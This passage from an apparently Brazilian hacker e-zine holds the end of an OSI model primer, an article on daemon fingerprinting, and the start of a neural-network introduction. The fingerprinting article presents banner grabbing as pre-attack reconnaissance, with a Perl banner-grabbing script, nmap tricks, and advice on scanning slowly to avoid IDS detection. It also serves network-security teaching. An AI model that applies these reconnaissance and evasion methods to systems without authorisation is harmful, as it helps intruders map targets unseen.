ver os e-mails presentes no mesmo. Agora vou propor uma situação fora do mundo
da informática, para quem sabe esclarecer ainda mais o funcionamento do OSI.
A Silvia Saint vai estrelar um novo filme, e precisa ir de uma cidade à
outra para filmar. Por isso ela vai até a rodoviária e compra uma passagem de
ônibus convencional, porque leito é mais caro. O ato de comprar a passagem, re-
presenta a camada de aplicação no modelo OSI. Ao chegar até a porta do ônibus,
Silvia dá uma boa olhada no motorista, motorista dá uma boa olhada em Silvia, e
então...pede a passagem dela para autenticar e suas malas para marcar. Esta é a
camada de apresentação. Muito bem, começa a viagem e o ônibus se dirige até seu
destino, estabelecendo a "conexão". Aí temos a camada 5, Sessão. O ônibus não
pode andar em cima do nada, para isso é preciso uma estrada, que representa o
protocolo TCP ou UDP, presentes na camada 4 (Transporte). Todavia surge um pro-
blema, Silvia é a única passageira do ônibus (huhun) e está atrasadíssima para
as filmagens. O motorista então tem de optar pela melhor rota para chegar até o
destino. Encaixamos o IP. Caso algum imprevisto ocorra, como um pneu furado, o
ICMP entra em ação, e avisa a Central Rodoviária que o ônibus quebrou. Agora,
para representar as camadas remanescentes, como não encontrei nada melhor, vou
utilizar o combustível do ônibus. O Ethernet cuidará para que o motorista não
abasteça o veículo com Diesel ao invés de Gasolina. Fim.
--=[ 5.0 - Os protocolos e o Modelo OSI
A figura 1.0 mostra a estrutura do modelo de referência OSI.
*Ilustração retirada do livro Redes de Computadores, 4ª Edição.
A figura 1.1 mostra os protocolos utilizados tanto na internet como em redes de
computadores em geral.
*Ilustração retirada do Wikipedia, vide referências bibliográficas.
###########################################################################################
# #
# Camada Nome da unidade #
# intercambiada #
# ____________ ____________ #
#| | Protocolo de aplicação | | #
#| Aplicação |------------------------------------------------------| Aplicação | APDU #
#|____________| |____________| #
# ______|_____ ____________ #
#| | Protocolo de apresentação | | #
#|Apresentação|------------------------------------------------------|Apresentação| PPDU #
#|____________| |____________| #
# ______|_____ ____________ #
#| | Protocolo de sessão | | #
#| Sessão |------------------------------------------------------| Sessão | SPDU #
#|____________| |____________| #
# ______|_____ ____________ #
#| | Protocolo de transporte | | #
#| Transporte |------------------------------------------------------| Transporte | TPDU #
#|____________| Limite da Sub-Rede de Comunicação |____________| #
# ______|_____ ___________________||_____________________ ____________ #
#| | | PDRI = Protocolo da Sub-Rede Interna | | | #
#| Rede |--1-| ****** ****** |------| Rede | Pacote#
#|____________| | | *Rede* ========= *Rede* | |____________| #
# ______|_____ | | ****** ****** | ____________ #
#| | | | PDRI | | | #
#| Enlace |- 2-| ******** ******** |------| Enlace | Quadro#
#|____________| | | *Enlace* ======= *Enlace* | |____________| #
# ______|_____ | | ******** ******** | ____________ #
#| | | | PDRI | | | #
#| Física |--3-| ******** ******** |------| Física | Bit #
#|____________| | | *Física* ======= *Física* | |____________| #
# | | ******** ******** | #
# Host A | | Roteador Roteador | Host B #
# ^^^^ ^ | |__________________________________________| ^^^^ ^ #
# |_________;1 Protocolo de roteador/host da camada de rede #
# |_________;2 Protocolo de roteador/host da camada de enlace de dados #
# |_________;3 Protocolo de roteador/host da camada física #
###########################################################################################
Figura 1.0
#################################################
# Protocolos de Internet #
#################################################
# Aplicação # HTTP, SMTP, FTP, SSH, IRC, #
# # SMTP, NNTP, POP3, IMAP, etc. #
# ----------- # ------------------------------- #
# Transporte # TCP, UDP, SCTP, RTP, DCCP #
# ----------- # ------------------------------- #
# Rede # IPv4, IPv6, ARP, ICMP #
# ----------- # ------------------------------- #
# Ligação # Ethernet, 802.11 WiFi, Token #
# # Ring, FDDI, PPP, etc. #
# ----------- # ------------------------------- #
# Física # RS-232, EIA-422, RS-449, etc. #
#################################################
Figura 1.1
--=[ 6.0 - Conclusão
Termino por aqui este pequeno artigo sobre o Modelo OSI. Como o próprio
título do artigo propõe, foi exposto aqui apenas o básico, mas isso não signi-
fica que seja o necessário. Não se prenda e vá atrás de mais informações a res-
peito, dê uma olhada nos links do Referências Bibliográficas. É isso ae, qual-
quer coisa mail-me.
--=[ 7.0 - Referências Bibliográficas
Arquitetura OSI
http://penta.ufrgs.br/Marco/arqosi.html
Modelo de Referência OSI
http://www.forumweb.com.br/artigos/artigos.php?action=file&id=268
Entendendo os protocolos
http://www.clubedasredes.eti.br/rede0013.htm
Ethernet
http://pt.wikipedia.org/wiki/Ethernet
O Modelo OSI de Interconexão de Sistemas Abertos
http://www.teleco.com.br/tutoriais/tutorialosi/default.asp
Comunicação de dados (Normas)
http://www2.ufp.pt/~lmbg/textos/norma_osi.html#camadasois
Livro "Redes de Computadores", 4ª Edição
Livro "Universidade H4CK3R", 1ª Edição
|>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|| ||
|| d4rwin at motdlabs.org ||
|| http://www.d4rwin.cjb.net ||
|| ||
|| MSN/GoogleTalk > d4rwin@gmail.com ||
|| YahooMessenger > d4rwinetico@yahoo.com.br ||
|| IRC > irc.freenode.net -j #motd ||
|| ||
|>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
"Quem tem boca vai a Roma. Meu fogão tem 4 e não saiu da cozinha."
(Desconhecido)
"Bill Gates não é Adão, mais comeu a Apple. E quem paga os pecados é o usuário
do Windows."
(Desconhecido)
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[09]-=[Daemon Fingerprint]=-|Inferninho|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
--=[ Introducao
Sempre que iniciamos um ataque se faz necessario um estudo sobre o alvo,
determinando assim brechas em potencial, isso inclui sabermos as versoes dos da-
emons que estao rodando no servidor, este texto ira demonstrar alguns metodos de
deteccao destes daemons, assim como estudo sobre os metodos utilizados por algu-
mas ferramentas disponiveis na internet.
--=[ Banner Grabbing
Todos os daemons exibem um banner de boas vindas quando recebem uma co-
nexao, na verdade nao passa de pura e simplesmente propaganda do produto, e'
trivial visualizarmos esse banner, um simples telnet faz isso. Supondo que um
atacante queira descobrir qual o daemon de ftp esta rodando numa maquina alvo,
ele se conecta na porta correspondente ao ftp e aguarda a exibicao do banner.
inferninho@weapon:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.9 Server (weapon) [weapon.first.weapon.org]
quit
221 Goodbye.
Connection closed by foreign host.
Como podemos notar se trata de um ProFTPD 1.2.9. Todos os daemons que
permitem interagir com o usuario via telnet estao sujeitos a esse tipo de detec-
cao, agora vamos ver um esquema que visa puxar o banner do httpd.
inferninho@weapon:~$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
get index.html HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 10 Dec 2004 19:50:59 GMT
Server: Apache/1.3.31 (Unix) PHP/4.3.7
Connection: close
Content-Type: text/html; charset=iso-8859-1
400 Bad Request
Bad Request
Your browser sent a request that this server could not understand.
The request line contained invalid characters following the protocol string.
Apache/1.3.31 Server at weapon.first.weapon.org Port 80
Connection closed by foreign host.
Nesse caso simplesmente enviamos um get index.html HTTP/1.0 e foi retor-
nado na linha denominada "Server:" a versao do daemon httpd Apache/1.3.31 (Unix)
PHP/4.37 alem de podermos notar que o servidor esta rodando num sistema unix e
com suporte a PHP.
Podemos automatizar todo o processo atraves do uso de ferramentas.
- NMAP que pode ser encontrado em http://www.insecure.org/nmap
- AMAP da THC http://www.thc.org
- TMAP
inferninho@weapon:~$ cat tmap.pl
<++> tmap.pl
#!usr/bin/perl
# TMAP (Tosco MAP?)-> Realiza Banner Grabbing
# coded by Inferninho
###
use IO::Socket;
$ARGC=@ARGV;
if($ARGC<2) {
print "Usage: perl $0 host porta\n\n";
exit;
}
my ($HOST)=$ARGV[0];
my ($PORT)=$ARGV[1];
my (@res,@ref);
my $res;
my $pagina="/index.html";
my $socket = IO::Socket::INET->new(
PeerAddr => "$HOST",
PeerPort => "$PORT",
Prot => "tcp"
);
die "Nao foi possivel criar a socket\n" unless $socket;
if ($PORT eq "80")
{
&http
}
elsif ($PORT eq "8080")
{
&http
}
else {
&outros
}
sub http {
if ($socket) {
print $socket "GET $pagina HTTP/1.0\n\n" or die "erro";
}
@res=<$socket>;
@ref=grep/Server/,@res;
print "\nDaemon em $HOST porta $PORT:\n\n";
print "@ref\n";
close ($socket);
exit;
}
sub outros {
if ($socket) {
print $socket "quit\n" or die "erro";
}
$res=<$socket>;
print "\nDaemon em $HOST porta $PORT:\n\n";
print "$res\n";
close ($socket);
exit;
}
<--> tmap.pl
--=[ Deteccao de Banners Alterados
Algumas vezes o banner pode ter sido alterado, ocorrendo o que se co-
nhece como seguranca por obscuridade, vemos um exemplo muito claro disso logo
abaixo.
inferninho@weapon:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 Specter-FTPd 2.1
quit
221 Goodbye.
Connection closed by foreign host.
Nao conheco nenhum daemon de ftp chamado Specter-FTPd, fica evidente que
esse banner foi alterado, a tecnica de banner grabbing vai por agua abaixo nesse
caso, mas se comecarmos a comparar alguns daemons veremos que cada um possui al-
gumas caracteristicas peculiares, isso mesmo, ja que o daemon nos permite inte-
ragir com ele, vamos abusar desse recurso, vamos analisar dois daemons diferen-
tes de ftp agora.
inferninho@weapon:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.9 Server (weapon) [weapon.first.weapon.org]
help
214-The following commands are recognized (* =>'s unimplemented).
USER PASS ACCT* CWD XCWD CDUP XCUP SMNT*
QUIT REIN* PORT PASV EPRT EPSV TYPE STRU
MODE RETR STOR STOU APPE ALLO* REST RNFR
RNTO ABOR DELE MDTM RMD XRMD MKD XMKD
PWD XPWD SIZE LIST NLST SITE SYST STAT
HELP NOOP FEAT OPTS ADAT* AUTH* CCC* CONF*
ENC* MIC* PBSZ* PROT*
214 Direct comments to root@localhost.
quit
221 Goodbye.
Connection closed by foreign host.
Ao conectarmos rebemos logo de cara a versao do servidor de ftp, trata-
se de um ProFTPD 1.2.9, em seguida enviamos um help para vizualizacao do menu de
ajuda edepois um quit. Abaixo outro exemplo agora num Pure-FTPd.
inferninho@weapon:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220---------- Welcome to Pure-FTPd [TLS] ----------
220-You are user number 3 of 50 allowed.
220-Local time is now 16:19. Server port: 21.
220-This is a private system - No anonymous login
220 You will be disconnected after 15 minutes of inactivity.
help
214-The following SITE commands are recognized
ALIAS
CHMOD
IDLE
214 Pure-FTPd - http://pureftpd.org/
quit
221-Goodbye. You uploaded 0 and downloaded 0 kbytes.
221 Logout.
Connection closed by foreign host.
Se observamos o menu de ajuda e a mensagem de saida dos dois daemons
iremos notar algumas diferencas, comparem como os daemons reagem apos recebe-
rem os comandos "help" e "quit". Agora se fizermos o mesmo com o nosso Specter-
FTPd, teremos:
inferninho@weapon:~$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 Specter-FTPd
help
214-The following commands are recognized (* =>'s unimplemented).
USER PASS ACCT* CWD XCWD CDUP XCUP SMNT*
QUIT REIN* PORT PASV EPRT EPSV TYPE STRU
MODE RETR STOR STOU APPE ALLO* REST RNFR
RNTO ABOR DELE MDTM RMD XRMD MKD XMKD
PWD XPWD SIZE LIST NLST SITE SYST STAT
HELP NOOP FEAT OPTS ADAT* AUTH* CCC* CONF*
ENC* MIC* PBSZ* PROT*
214 Direct comments to root@localhost.
quit
221 Goodbye.
Connection closed by foreign host.
Muito bem, se tivermos que dar um "palpite" ao compararmos a saida do
Specter-FTPd com a do ProFTPD e Pure-FTPd, fica realmente obvio que o daemon com
banner alterado e um ProFTPD. Alguns podem estar se perguntando, algo como: Mas
todos daemons tem saida diferentes? A resposta e' sim, podemos notar diferencas
mesmo num mesmo daemon em versoes diferentes. Para ficar mais visivel ainda vou
colocar duas saidas referentes ao Exim e ao Sendmail.
inferninho@weapon:~$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220-linux.meudns.org ESMTP Exim 4.43 #1 Fri, 10 Dec 2004 18:23:53 -0200
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
help
214-Commands supported:
214 AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
quit
221 weapon.fisrt.weapon.org closing connection
Connection closed by foreign host.
inferninho@weapon:~$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 weapon.first.weapon.org ESMTP Sendmail 8.12.11/8.12.11; Fri, 10 Dec 2004 20:46:10 GMT
help
214-2.0.0 This is sendmail version 8.12.11
214-2.0.0 Topics:
214-2.0.0 HELO EHLO MAIL RCPT DATA
214-2.0.0 RSET NOOP QUIT HELP VRFY
214-2.0.0 EXPN VERB ETRN DSN AUTH
214-2.0.0 STARTTLS
214-2.0.0 For more info use "HELP ".
214-2.0.0 To report bugs in the implementation send email to
214-2.0.0 sendmail-bugs@sendmail.org.
214-2.0.0 For local information send email to Postmaster at your site.
214 2.0.0 End of HELP info
quit
221 2.0.0 weapon.first.weapon.org closing connection
Connection closed by foreign host.
Nesse caso a diferenca eh realmente gritante, mesmo que os banner fossem
alterados, o menu de ajuda e mensagem de saida continuam inalterados e nos per-
mite identificar o daemon por meio de comparacoes.
--=[ Estudo de Caso - NMAP X AMAP X TMAP
Na verdade vou centralizar esse topico no nmap uma vez que este e' mais
completo que o amap e o tmap, os dois ultimos sao facilmente ludibriados e ainda
precisam de algumas implementacoes.
inferninho@weapon:~$ perl tmap.pl localhost 21
Daemon em localhost porta 21:
220 Specter-FTPd
inferninho@weapon:~$ amap localhost -B 21
amap v4.7 (www.thc.org) started at 2004-12-10 21:20:40 - BANNER GRAB mode
Banner on 127.0.0.1:21/tcp : 220 Specter-FTPd\r\n
amap v4.7 finished at 2004-12-10 21:20:40
Como podemos ver os dois engolem facilmente o Specter-FTPd e o imprime
na tela como uma informacao correta. Isso ocorre por que os dois apenas lancam
na tela a primeira informacao que recebem, sem averiguar sua veracidade.
Apesar do amap ter outras funcoes alem do banner grabbing o tmap e'
mais completo nesse quesito, isso se levarmos em conta que o amap sequer tem
implementacao para detectar daemons de httpd.
inferninho@weapon:~$ amap localhost -B 80
amap v4.7 (www.thc.org) started at 2004-12-10 21:27:32 - BANNER GRAB mode
amap v4.7 finished at 2004-12-10 21:27:38
A saida dele fica em branco, ja no tmap:
inferninho@weapon:~$ perl tmap.pl localhost 80
Daemon em localhost porta 80:
Server: Apache/1.3.31 (Unix) PHP/4.3.7
Apache/1.3.31 Server at weapon.first.weapon.org Port 80
O nmap faz uma implementacao diferente, ao receber o banner ele confere
com um banco de dados (/usr/share/nmap/nmap-service-probes) caso a comparacao
seja verdadeira ele imprime a versao do daemon como verdadeira, caso a compa-
racao nao confira com nenhuma das assinaturas de banners contidas no banco de
dados, ele faz outra implementacao simplesmente enviando um comando "help".
Podemos observar isso vendo a saida do tcpdump.
Saida do tcpdump caso a primeira comparacao seja verdadeira.
root@weapon:/home/inferninho# tcpdump
tcpdump: WARNING: Promiscuous mode not supported on the "any" device
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 96 bytes
22:13:46.583168 IP localhost > localhost: icmp 8: echo request seq 63418
22:13:46.583213 IP localhost > localhost: icmp 8: echo reply seq 63418
[......]
Varias Linhas
[......]
22:13:51.148052 IP localhost.ftp > localhost.35437: S 1378107143:1378107143(0)
ack 3500700108 win 32767
22:13:51.148061 IP localhost.35437 > localhost.ftp: R 3500700108:3500700108(0)
win 0
53 packets captured
106 packets received by filter
0 packets dropped by kernel
--------
Saida do tcpdump caso a primeira comparacao seja falsa.
root@weapon:/home/inferninho# tcpdump
tcpdump: WARNING: Promiscuous mode not supported on the "any" device
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 96 bytes
22:08:21.238284 IP localhost > localhost: icmp 8: echo request seq 58344
22:08:21.238334 IP localhost > localhost: icmp 8: echo reply seq 58344
22:08:21.238697 IP localhost.41564 > localhost.http: . ack 2017081566 win 2048
22:08:21.238735 IP localhost.http > localhost.41564: R 2017081566:2017081566(0)
win 0
[......]
Varias Linhas
[......]
22:08:40.768255 IP localhost.41545 > localhost.ftp: R 3825271309:3825271309(0)
win 0
22:08:40.888108 IP localhost.41546 > localhost.ftp: S 3825271309:3825271309(0)
win 2048
22:08:40.888170 IP localhost.ftp > localhost.41546: S 1063640235:1063640235(0)
ack 3825271310 win 32767
22:08:40.888191 IP localhost.41546 > localhost.ftp: R 3825271310:3825271310(0)
win 0
72 packets captured
144 packets received by filter
0 packets dropped by kernel
A diferenca na quantidade de envio de pacotes fica exposta nesse momen-
to, assim podemos afirmar que o nmap age diferente dependendo do caso. Ao con-
trario do que se afirma por ai ele nao faz nenhuma comparacao por meio de res-
postas de pacotes para descobrir a versao do daemon, vamos ter mais provas disso
logo a seguir. Ah, esse icmp 8: echo request na saida do tcpdump e para o os-
fingerprint mas ai eh outra historia.
root@weapon:/home/inferninho# nmap -A localhost -p 21
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-12-10 21:41 UTC
Warning: OS detection will be MUCH less reliable because we did not find at
least 1 open and 1 closed TCP port
Interesting ports on localhost (127.0.0.1):
PORT STATE SERVICE VERSION
21/tcp open ftp
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at http://www.insecure.org/cgi-bin/serv
icefp-submit.cgi :
SF-Port21-TCP:V=3.50%D=12/10%Time=41BA1818%P=i486-slackware-linux-gnu%r(NU
SF:LL,12,"220\x20Specter-FTPd\r\n")%r(GenericLines,12,"220\x20Specter-FTPd
SF:\r\n")%r(Help,232,"220\x20Specter-FTPd\r\n214-The\x20following\x20comma
SF:nds\x20are\x20recognized\x20\(\*\x20=>'s\x20unimplemented\)\.\r\n\x20US
SF:ER\x20\x20\x20\x20PASS\x20\x20\x20\x20ACCT\*\x20\x20\x20CWD\x20\x20\x20
SF:\x20\x20XCWD\x20\x20\x20\x20CDUP\x20\x20\x20\x20XCUP\x20\x20\x20\x20SMN
SF:T\*\x20\x20\x20\r\n\x20QUIT\x20\x20\x20\x20REIN\*\x20\x20\x20PORT\x20\x
SF:20\x20\x20PASV\x20\x20\x20\x20EPRT\x20\x20\x20\x20EPSV\x20\x20\x20\x20T
SF:YPE\x20\x20\x20\x20STRU\x20\x20\x20\x20\r\n\x20MODE\x20\x20\x20\x20RETR
SF:\x20\x20\x20\x20STOR\x20\x20\x20\x20STOU\x20\x20\x20\x20APPE\x20\x20\x2
SF:0\x20ALLO\*\x20\x20\x20REST\x20\x20\x20\x20RNFR\x20\x20\x20\x20\r\n\x20
SF:RNTO\x20\x20\x20\x20ABOR\x20\x20\x20\x20DELE\x20\x20\x20\x20MDTM\x20\x2
SF:0\x20\x20RMD\x20\x20\x20\x20\x20XRMD\x20\x20\x20\x20MKD\x20\x20\x20\x20
SF:\x20XMKD\x20\x20\x20\x20\r\n\x20PWD\x20\x20\x20\x20\x20XPWD\x20\x20\x20
SF:\x20SIZE\x20\x20\x20\x20LIST\x20\x20\x20\x20NLST\x20\x20\x20\x20SITE\x2
SF:0\x20\x20\x20SYST\x20\x20\x20\x20STAT\x20\x20\x20\x20\r\n\x20HELP\x20\x
SF:20\x20\x20NOOP\x20\x20\x20\x20FEAT\x20\x20\x20\x20OPTS\x20\x20\x20\x20A
SF:DAT\*\x20\x20\x20AUTH\*\x20\x20\x20CCC\*\x20\x20\x20\x20CONF\*\x20\x20\
SF:x20\r\n\x20ENC\*\x20\x20\x20\x20MIC\*\x20\x20\x20\x20PBSZ\*\x20\x20\x20
SF:PROT\*\x20\x20\x20\r\n214\x20Direct\x20comments\x20to\x20root@localhost
SF:\.\r\n");
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20
Uptime 0.134 days (since Fri Dec 10 18:29:19 2004)
Nmap run completed -- 1 IP address (1 host up) scanned in 20.050 seconds
O nmap confere o banco de dados como nao acha nenhuma saida do Spect-
er-FTPd, ele tenta comparar o help e acusaria um ProFTPD 1.2.9, mas o banco de
assinatura dele esta incorreto ai a informacao nao bate e ele imprime na tela a
saida do help, como podemos conferir observando os trechos em detaque, e pede
para enviarmos para o site da insecure.org, provavelmente para implementacoes
futuras.
Se realmente ele verificasse a respostas de pacotes ao inves do banner
e do menu de help, ele pediria para enviar tal pacote e nao o help do daemon.
Uma vez que o nmap nao faz essa segunda verificacao todas as vezes, fazendo
apenas quando a primeira falha, podemos ludibria-lo colocando um banner valido
de outro daemon:
se mudarmos o ServerIdent do /etc/proftpd.conf para:
ServerIdent on "---------- Welcome to Pure-FTPd [TLS] ----------"
Olha o que ocorre com o nmap:
root@weapon:# nmap -A localhost -p 21
Interesting ports on localhost (127.0.0.1):
PORT STATE SERVICE VERSION
21/tcp open ftp PureFTPd
Caso ele enviasse algum pacote e comparasse a resposta como no caso do
os-fingerprint com certeza ele nao faria tal afirmacao erronea. O banco de dados
com a lista de assinaturas dos daemons encontra-se em: /usr/share/nmap/nmap-se
rvice-probes
--=[ Conclusao
Agora que voce ja sabe como descobrir o que de fato roda naquela porta,
faco eu algumas recomendacoes, mesmo que o nmap seja fodao, quer dizer, nem tan-
to, evite o uso deles em redes com IDS, a nao ser que voce saiba usar as opcoes
corretas dele para fazer um slow scan e mais alguns truques, pois ate o Tabaja-
raIDS consegue logar nmap com as regras mais simples. A melhor forma para ma-
pear a rede sem ser percebido e ir fazendo tudo manualmente, conectando apenas
em portas que realmente rodem algo, se der telnet na porta 1 por exemplo, e mui-
to provavel que voce fique logado, entao escolha bem as portas fazendo conexoes
legitimas, e de um intervalo em cada tentativa, va tomar um cafe, conversar com
a namorada, e volte, nunca se afobe mais que o necessario.
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[10]-=[RNA: Uma Breve Introducao - Parte 1 ]=-|tDs|=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
--=[ Introducao
--=--=[ Neuronios
Neuronios sao as principais celulas do sistema nervoso central, sendo
composto por corpo celular (soma), dendritos, axonio e telodendro. O axonio, que
e' unico por neuronio, e' o responsavel por levar sinais nervosos para fora do
neuronio. Dendritos formam uma rede para recebimento de informacoes advindas do
exterior do neuronio, ou seja, vindo de outros neuronios. Neuronios normais
(todos sao) possuem diversos dendritos.
A comunicacao entre os neuronios se da atraves de ligacoes chamadas de
sinapses, que resumidamente e' uma ligacao entre dois neuronios, a qual e' feita
entre o axonio de um neuronio e um dendrito ou a soma de um outro neuronio, po-
dendo ocorrer tambem a ligacao entre dois axonios, embora isso seja menos comum.
As sinapses sao tambem responsaveis pela comunicacao entre neuronios e outras
celulas nao neurais, como por exemplo musculos ou glandulas.
Neuronios do cortex cerebral nos mamiferos (citado agora somente como
cortex) podem possuir algo em torno de 1000 dendritos cada, possibilitando co-
nexao com dezenas de milhares de outras celulas. Entao, nao e' surpresa saber
que o cortex esta envolvido nas atividades cerebrais mais complexas, tais como
consciencia, linguagem, consciencia perceptual (voce sabe que esta percebendo)
e pensamento.
O cortex recebe informacoes sensoriais de diversas partes do corpo,
tais como maos ou patas, olhos e ouvidos. As informacoes sao entao processadas
por neuronios, que dependendo do que foi recebido ira enviar outras informacoes
para outros neuronios, formando um ciclo interminavel ( ok, a morte existe ).
Neuronios basicamente trabalham com entrada e saida de sinais. Ao rece-
ber um sinal de entrada, atraves de um dendrito, ele verifica se este sinal al-
canca seu valor de ativacao. No caso positivo, o neuronio ira estimular a saida
de sinal atraves de seu axonio (este axonio que, como citado anteriormente, esta
ligado em dendritos de um outro neuronio). Caso contrario, a saida sera inibida.
--=--=[ Neuronios Artificiais
Assim como os neuronios biologicos, os neuronios artificiais, principais
componentes de uma rede neural articial, basicamente trabalham com entrada e sa-
ida de informacoes. Atraves dos dendritos as entradas chegam ao neuronio, tendo
pesos atribuidos pelas sinapses. A soma das entradas combinadas com os pesos
produz uma saida efetiva, a qual sera processada pela funcao de ativacao do neu-
ronio. A funcao de ativacao ira ou nao ativar a saida do neuronio finalmente.
Podemos abservar na Fig. 1 uma descricao de um neuronio artificial e suas
partes.
.............................................................
+ +
| |
| w1 |
| X1 ............. |'''''''''''''+ |
| w2 \ | |t |
| X2 ============{ E }=======+ f(a) |========> y |
| w3 / | | |
| Xn ............/ +.............+ |
| |
| |
| X1, X2 e Xn: |
| Dendritos (entradas) |
| w1, w2 e w3: |
| Pesos (os pesos podem ser comparados com |
| neurotransmissores em um neuronio biologico) |
| E: |
| Soma ponderada do produto das entradas |
| pelos pesos ( E = X1w1 + X2w2 ... + Xnwn ) |
| f(a): |
| Funcao de ativacao do neuronio |
| t: |
| Limite de ativacao (threshold) |
| y: |
| Axonio (saida) |
| Fig. 01 |
+.............................................................+
--=[ Redes de Neuronios
Um conjunto de neuronios artificiais interconectados forma a base de uma
rede neural artificial. Redes neurais artificiais (chamada agora apenas de RNA),
usam modelos matematicos para processamento de informacoes, baseados em uma tipo
especifico de conexionismo, voltado a computacao (conexionismo pode ser visto
como um conjunto de unidades simples interconectadas, no caso de RNAs, essas
unidades simples sao os neuronios).
Redes neurais podem e sao utilizadas para diversos fins, entre os quais,
reconhecimento de voz, reconhecimento otico de caracteres (OCR), previsoes, re-
conhecimento de padroes, classificacao de dados, entre outros. Existem diversas
classes de RNAs entre os quais:
- Feedforward neural networks
- Recurrent network
- Stochastic neural networks
- Modular neural networks
Em cada classe de RNA existem diversos tipos de redes, as mais populares
sao:
- Adaptive Linear Neuron / Adaptive Linear Element (ADALINE)
- Multiple Adaptive Linear Neuron (MADALINE)
- Radial Basis Function (RBF)
- Kohonen self-organizing network
- Hopfield network
- Single Layer Perceptron
- Multi Layer Perceptron (MLP)
As redes neurais funcionam com base em treinamentos, ou seja, nao basta
apenas construir uma RNA e colocar ela, por exemplo, para classificar padroes.
Ela antes precisa conhecer esses padroes atraves de um treinamento previo. Ha
varios metodos de treinamento, entre eles:
- Decision Tree
- Nearest Neighbor
- Boosting
- Bayesian inference
- Naive Bayes classifier
- Clustering
- Backpropagation
Nota-se que RNAs nao sao exatamente complexas, mas sim uma area muito
vasta, com muita informacao, nao sendo muito facil ter conhecimento sobre tudo
que possa estar envolvido no desenvolvimento de todos os tipos de redes de todas
as classes, utilizando diversos metodos de treinamento. Vamos entao nos concen-
trar em uma classe especifica de RNA, a feedforward neural network. Nesta clas-
se, ficaremos no tipo de rede conhecido como multi layer perceptron (mlp) e po-
demos (e vamos) utilizar backpropagation como metodo de treinamento.
--=--=[ Feedforward Neural Networks
RNAs sao formadas por layers (camadas) de neuronios, normalmente tendo
uma layer na entrada, uma outra na saida e uma layer oculta (hidden layer). Em
uma feedforward neural network (FFNet) cada neuronio (chamado agora de unit) de
uma layer esta conectado com cada outra unit de uma outra layer (posterior ou
anterior a esta layer). A informacao entra na rede atraves da layer de entrada,
passando por cada outra layer ate chegar a saida. Durante a operacao normal da
rede, nao existe feedback - retorno - de uma layer para a sua layer anterior.
Dai surge o nome de feedforward neural network.
--=--=[ Perceptron
Um perceptron e' um tipo de RNA que consiste de uma ou mais layers de
units. As entradas sao entregues diretamente as saidas, via uma serie de pesos
usados para calculo de ativacao. As layers nao dao feedback para outras layers,
sendo assim este um tipo de FFNet. Vamos a um exemplo ilustrativo de como funci-
ona um perceptron. Na Figura 2 temos no perceptron os pesos de cada entrada pre-
viamente calculados atraves de um treino com padroes ja conhecidos. Nas entradas
temos os valores que queremos a classificacao do padrao. O valor minimo de ati-
vacao e'de 0,4. Desta forma temos na entrada E o seguinte:
E = ((5x0,3) + (9x0,6) + (2x0,4)) / (5+9+2) .-. E = 0,48125
Para que a saida seja ativada, a entrada deve ser maior ou igual a t (0,4).
Como neste caso o valor e' maior, a saida sera ativada.
...............................................................
+ +
| |
| w1=0,3 |
| X1=5 ............. |'''''''''''''+ |
| w2=0,6 \ | |t=0,4 |
| X2=9 ============{ E }=======+ |========> y |
| w3=0,4 / | | |
| X3=2 ............/ +.............+ |
| |
| |
| Fig. 02 |
+...............................................................+
--=--=[ Multi Layer Perceptron com Aprendizado por Backpropagation
Multi layer perceptron (MLP) e' o tipo de RNA mais utilizado. Consiste
de uma layer de entrada, que contem uma quantidade de units igual a quantidade
de variaveis que um problema possa ter (ficara claro no exemplo que vem a seguir
o que isso significa), uma layer de saida, que sera o local por onde a "respos-
ta" do problema sera mostrada. A layer de saida normalmente contem uma unit ape-
nas. As layers entre a de entrada e a de saida sao as chamadas hidden layers.
Problemas que podem ser resolvidos por um perceptron, podem ser feitos de tal
forma que a utilizacao de apenas uma hidden layer resolva, entretanto o percep-
tron algumas vezes se comporta melhor com o uso de duas hidden layers.
Backpropagation e' um algoritimo de aprendizado utilizado em FFNets com
uma ou mais layers entre a entrada e a saida da rede (por isso pode e e' muito
utilizado em multi layer perceptron). Uma rede MLP ao ser iniciada contem pesos
aleatorios (entre 0 e 1) nas entradas e um valor que e' esperado na saida. Apos
os dados serem apresentados 'a entrada e a saida ter sido calculada, uma compa-
racao entre esta saida calculada e a saida desejada, o erro e' calculado e pro-
